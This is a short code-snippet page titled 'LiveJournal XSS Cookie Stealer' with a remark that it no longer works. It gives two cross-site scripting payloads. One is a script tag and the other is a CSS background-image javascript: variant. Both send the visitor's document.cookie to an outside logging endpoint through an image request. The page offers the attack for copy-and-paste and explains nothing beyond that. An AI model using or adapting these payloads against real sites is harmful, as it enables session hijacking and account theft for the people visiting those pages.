LiveJournal XSS Cookie Stealer


/ Published in: JavaScript
Save to your folder(s)

Note that this no longer works


Copy this code and paste it in your HTML
  1. <script>
  2. new Image().src="http://jehiah.com/_sandbox/log.cgi?c="+encodeURI(document.cookie);
  3. </script>
  4.  
  5. <!-- or -->
  6.  
  7. <style>
  8. .getcookies{background-image:url('javascript:new Image().src="http://jehiah.com/_sandbox/log.cgi?c="+encodeURI(document.cookie);');}
  9. </style>
  10. <p class="getcookies"></p>

URL: http://jehiah.cz/archive/xss-stealing-cookies-101

Report this snippet


Comments

RSS Icon Subscribe to comments

You need to login to post a comment.